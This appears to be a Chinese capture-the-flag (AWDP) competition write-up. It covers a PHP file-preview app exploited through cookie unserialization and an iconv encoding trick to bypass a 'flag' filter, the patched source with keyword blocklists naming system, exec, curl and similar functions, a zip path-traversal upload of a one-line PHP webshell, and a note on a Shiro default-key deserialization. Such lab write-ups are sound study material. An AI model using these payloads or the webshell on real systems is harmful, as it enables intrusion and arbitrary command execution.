AWDP
attack
部分源码lib/User.php
<?php declare(strict_types=1);
class User { public string $name = "guest"; public string $encoding = "UTF-8"; public string $basePath = "/var/www/html/uploads/";
public function __construct(string $name = "guest") { $this->name = $name; } }
|
preview.php
$user = null; if (isset($_COOKIE['user'])) { $user = @unserialize($_COOKIE['user']); } if (!$user instanceof User) { $user = new User("guest"); setcookie("user", serialize($user), time() + 86400, "/"); }
$f = (string)($_GET['f'] ?? ""); if ($f === "") { http_response_code(400); echo "Missing parameter: f"; exit; }
$rawPath = $user->basePath . $f;
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) { http_response_code(403); echo "Access denied"; exit; }
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath); if ($convertedPath === false || $convertedPath === "") { http_response_code(500); echo "Conversion failed"; exit; }
$content = @file_get_contents($convertedPath);
|
user cookie可控导致反序列化漏洞,控制user->basePath和user->encoding可以实现任意文件读取和flag黑名单绕过。具体操作是利用UTF-8//IGNORE会把转化时不能识别的字符丢弃,就能隔开flag字符串poc
<?php class User { public string $name = "guest"; public string $encoding = "CSISO2022KR"; public string $basePath = "file:///";
public function __construct(string $name = "guest") { $this->name = $name; } }
echo urlencode(serialize(new User()));
|
使用时用%x3隔开flag就能读取flag,?f=f%x3lag,因为iconv转换在waf后。
fix
都修了一遍
update.sh
#!/bin/bash
mv index.php /var/www/html/index.php mv download.php /var/www/html/download.php mv profile.php /var/www/html/profile.php mv preview.php /var/www/html/preview.php
|
profile.php
<?php declare(strict_types=1); require_once __DIR__ . "/lib/User.php"; require_once __DIR__ . "/lib/Util.php"; function wafrce($str) { return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str); } $user = null; if (isset($_COOKIE['user'])) { $user = @unserialize($_COOKIE['user']); } if (!$user instanceof User) { $user = new User("guest"); }
$msg = ""; $allowed = ["UTF-8", "GBK", "BIG5", "ISO-2022-CN-EXT"];
if ($_SERVER['REQUEST_METHOD'] === 'POST') { $enc = (string)($_POST['encoding'] ?? "UTF-8"); if (!in_array($enc, $allowed, true)) { $msg = "Unsupported encoding"; } else { $user->encoding = $enc; setcookie("user", serialize($user), time() + 86400, "/"); $msg = "Saved"; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Preferences · MediaDrive</title> <link rel="stylesheet" href="/assets/style.css"/> </head> <body> <div class="app"> <header class="topbar"> <div class="brand"> <div class="dot red"></div><div class="dot yellow"></div><div class="dot green"></div> <a class="brand-title link" href="/">MediaDrive</a> <span class="badge">Preferences</span> </div> <div class="actions"></div> </header>
<main class="content"> <section class="card"> <div class="card-head"> <h2>Preview Encoding</h2> <p class="muted">Choose how filenames are converted before preview.</p> </div>
<?php if ($msg !== ""): ?> <div class="toast"><?= Util::h($msg) ?></div> <?php endif; ?>
<form method="post" class="prefs"> <label class="label">Encoding</label> <select class="select" name="encoding"> <?php foreach ($allowed as $e): ?> <option value="<?= Util::h($e) ?>" <?= $user->encoding === $e ? "selected" : "" ?>> <?= Util::h($e) ?> </option> <?php endforeach; ?> </select>
<div class="row-actions"> <button class="btn primary" type="submit">Save</button> <a class="btn ghost" href="/">Back</a> </div>
<div class="hint"> Stored in <span class="mono">user</span> cookie. </div> </form> </section> </main>
</div> </body> </html>
|
preview.php
<?php declare(strict_types=1); require_once __DIR__ . "/lib/User.php"; require_once __DIR__ . "/lib/Util.php";
$user = null; if (isset($_COOKIE['user'])) { $str = @unserialize($_COOKIE['user']); if(wafrce($str)){ $user = $str; } } if (!$user instanceof User) { $user = new User("guest"); setcookie("user", serialize($user), time() + 86400, "/"); }
$f = (string)($_GET['f'] ?? ""); if ($f === "") { http_response_code(400); echo "Missing parameter: f"; exit; }
$rawPath = $user->basePath . $f;
if (preg_match('/system|tail|flag|exec|base64|flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) { http_response_code(403); echo "Access denied"; exit; }
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath); if ($convertedPath === false || $convertedPath === "") { http_response_code(500); echo "Conversion failed"; exit; }
$content = @file_get_contents($convertedPath); if (preg_match('/system|tail|flag|exec|base64/i', $convertedPath)) { die('no!'); } else{ if ($content === false) { http_response_code(404); echo "Not found"; exit; } }
$displayRaw = $rawPath; $displayConv = $convertedPath; $isText = true;
for ($i=0; $i<min(strlen($content), 512); $i++) { $c = ord($content[$i]); if ($c === 0) { $isText = false; break; } }
?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Preview · MediaDrive</title> <link rel="stylesheet" href="/assets/style.css"/> </head> <body> <div class="app"> <header class="topbar"> <div class="brand"> <div class="dot red"></div><div class="dot yellow"></div><div class="dot green"></div> <a class="brand-title link" href="/">MediaDrive</a> <span class="badge">Preview</span> </div> <div class="actions"> <a class="btn ghost" href="/profile.php">Preferences</a> </div> </header>
<main class="content"> <section class="card"> <div class="card-head"> <h2>File Preview</h2> <p class="muted">Converted paths are shown for debugging.</p> </div>
<div class="kv"> <div><span class="k">User</span><span class="v"><?= Util::h($user->name) ?></span></div> <div><span class="k">Encoding</span><span class="v mono"><?= Util::h($user->encoding) ?></span></div> <div><span class="k">Raw path</span><span class="v mono"><?= Util::h($displayRaw) ?></span></div> <div><span class="k">Converted</span><span class="v mono"><?= Util::h($displayConv) ?></span></div> </div>
<div class="row-actions"> <a class="btn ghost" href="/">Back</a> <a class="btn" href="/download.php?f=<?= urlencode($f) ?>">Download</a> </div>
<div class="preview"> <?php if ($isText): ?> <pre><?= Util::h($content) ?></pre> <?php else: ?> <pre class="mono"><?= Util::h(bin2hex(substr($content, 0, 2048))) ?></pre> <div class="hint">Binary preview (hex, first 2KB)</div> <?php endif; ?> </div> </section> </main>
<footer class="footer"> <span class="muted">MediaDrive · Internal tool</span> <a class="muted" href="/health.php">health</a> </footer> </div> </body> </html>
|
index.php
<?php declare(strict_types=1); require_once __DIR__ . "/lib/User.php"; require_once __DIR__ . "/lib/Util.php";
function wafrce($str) { return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str); }
$uploadsDir = "/var/www/html/uploads/aaa/";
$user = null; if (isset($_COOKIE['user'])) { $str = @unserialize($_COOKIE['user']); if(wafrce($str)){ $user = $str; } } if (!$user instanceof User) { $user = new User("guest"); setcookie("user", serialize($user), time() + 86400, "/"); }
$msg = ""; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $f = $_FILES['file'];
if ($f['error'] === UPLOAD_ERR_OK) { $file_content = file_get_contents($f); if (preg_match('/<\?php|<script|<%|eval\(|system\(|exec\(|passthru\(|shell_exec\(/', $file_content)) { die('Potentially malicious file detected'); } $name = Util::safeUploadName($f['name'] ?? 'upload.bin'); if (!Util::isAllowedUploadExtension($name)) { $msg = "Upload failed."; } else { $dst = $uploadsDir . $name; if (move_uploaded_file($f['tmp_name'+'asdasdasdasdasd'], $dst)) { $msg = "Uploaded: " . $name; } else { $msg = "Upload failed."; } } } else { $msg = "Upload error: " . (string)$f['error']; } }
$files = Util::listUploads($uploadsDir);
?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>MediaDrive</title> <link rel="stylesheet" href="/assets/style.css"/> </head> <body> <div class="app"> <header class="topbar"> <div class="brand"> <div class="dot red"></div><div class="dot yellow"></div><div class="dot green"></div> <span class="brand-title">MediaDrive</span> <span class="badge">Preview & Convert</span> </div>
<div class="actions"> <a class="btn ghost" href="/profile.php">Preferences</a> </div> </header>
<main class="content"> <section class="card"> <div class="card-head"> <h2>Upload</h2> <p class="muted">Upload a file, then preview it.</p> </div>
<?php if ($msg !== ""): ?> <div class="toast"><?= Util::h($msg) ?></div> <?php endif; ?>
<form class="upload" method="post" enctype="multipart/form-data"> <input class="file" type="file" name="file" required /> <button class="btn primary" type="submit">Upload</button> </form>
<div class="hint"> Current user: <b><?= Util::h($user->name) ?></b> · Encoding: <b><?= Util::h($user->encoding) ?></b> </div> </section>
<section class="card"> <div class="card-head"> <h2>My Files</h2> <p class="muted">Click preview to open a file.</p> </div>
<?php if (count($files) === 0): ?> <div class="empty">No files yet. Upload one to get started.</div> <?php else: ?> <div class="table"> <div class="row head"> <div>Name</div><div>Size</div><div>Updated</div><div>Actions</div> </div> <?php foreach ($files as $it): ?> <div class="row"> <div class="mono"><?= Util::h($it['name']) ?></div> <div><?= Util::h(Util::niceSize((int)$it['size'])) ?></div> <div><?= date("Y-m-d H:i:s", (int)$it['mtime']) ?></div> <div class="row-actions"> <a class="btn small" href="/preview.php?f=<?= urlencode($it['name']) ?>">Preview</a> <a class="btn small ghost" href="/download.php?f=<?= urlencode($it['name']) ?>">Download</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> </section> </main>
<footer class="footer"> <span class="muted">MediaDrive · Internal tool</span> <a class="muted" href="/health.php">health</a> </footer> </div> </body> </html>
|
health.php
download.php
<?php declare(strict_types=1); require_once __DIR__ . "/lib/User.php";
function wafrce($str) { return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str); }
$uploadsDir = "/var/www/html/uploads/";
$user = null; if (isset($_COOKIE['user'])) { $str = @unserialize($_COOKIE['user']); if(wafrce($str)){ $user = $str; } } if (!$user instanceof User) $user = new User("guest");
$f = (string)($_GET['f'] ?? ""); if ($f === "") { http_response_code(400); echo "Missing f"; exit; }
$path = $uploadsDir . $f; $path = @iconv($user->encoding, "UTF-8//IGNORE", $path); if ($path === false || $path === "") { http_response_code(500); echo "Conversion failed"; exit; }
$real = realpath($path); $uploadsReal = realpath($uploadsDir); if ($real === false || $uploadsReal === false || strpos($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0) { http_response_code(404); echo "Not found"; exit; } if (!is_file($real)) { http_response_code(404); echo "Not found"; exit; }
header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"" . basename($f) . "\""); if (preg_match('/system|tail|flag|exec|base64/i', $real)) { die('no!'); } else { readfile($real); }
|
EasyTime
attack
弱口令密码为secret进界面。很老的一个压缩包解析漏洞,在压缩包中写斜杠实现目录穿越任意文件上传。写…1…1…1var1www1html1index.php
<?=system($_GET['cmd']);?>
|
bandizip打包成zip文件后010 editor打开,把1改成斜杠/

在about中把文件url改成http://127.0.0.1:80/index.php?cmd=ls+/就能执行任意命令了。
cat entrypoint.sh看到flag在tmp目录下,按名字读取就好了
broken_manager
fix

Delet将长度s__1置为0,没有将堆块置零,将其patch为s0即可 
ISW
第三届长城杯-isw
fscan 扫出 sh1ro的默认密钥
sh1ro反序列化检测工具一把梭了哥斯拉连上拿到flag在根目录下flag1
写在最后
ISW阶段算是坐大牢了,30多名整了个二等奖回来,明年接着努力吧